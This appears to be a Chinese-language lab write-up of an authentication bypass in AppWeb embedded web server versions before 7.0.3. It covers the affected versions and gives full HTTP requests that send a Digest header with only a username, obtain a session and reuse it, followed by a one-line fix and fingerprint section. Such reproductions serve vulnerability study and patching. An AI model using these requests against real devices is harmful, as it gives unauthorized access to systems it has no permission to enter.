目录
- 前言
- 影响范围
- 漏洞利用
- 0x04 漏洞修复
- 指纹
- 总结
前言
AppWeb 是一个嵌入式 Web 服务器,基于由 Embedthis Software LLC 开发和维护的开源 GPL 协议。它是用 C/C++ 编写的,几乎可以在任何现代操作系统上运行。当然,它的作用是为嵌入式设备提供一个 Web 应用程序容器。
AppWeb可以配置认证,包括以下三种认证方式:
basic:传统HTTP基本认证
digest:改进版HTTP基础认证,认证成功后将使用Cookie来保存状态,而不用再传递Authorization头
form:基于 HTML 的表单身份验证
其7.0.3之前的版本中,对于digest和form两种认证方式,如果用户传入的密码为null(也就是没有传递密码参数),appweb将因为一个逻辑错误导致直接认证成功,并返回session。
影响范围
7.0.3之前的版本
漏洞利用
访问目标资产:http://192.168.3.243:8080/
输入账号admin,密码随便,查看BP的数据包
只保留username,发送出去
利用该漏洞需要知道一个已存在的用户名,当前环境下用户名为admin。
(1)构造头Authorization: Digest username=“admin”,并发送如下数据包:
GET / HTTP/1.1
Host: 192.168.3.243:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Authorization: Digest username="admin"
可见,因为我们没有传入密码字段,所以服务端出现错误,直接返回了200,且包含一个session
利用获取到的 session,修改请求头为POST 添加 session 请求体
POST / HTTP/1.1
Host: 192.168.3.243:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Authorization: Digest username="admin" -http-session-=1::http.session::5a78c88e5eda41eb6c6e7368512be366
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
username="admin"
0x04 漏洞修复
打补丁,升级到最新版本~
指纹
响应头中存在
总结
利用该漏洞需要知道一个已存在的用户名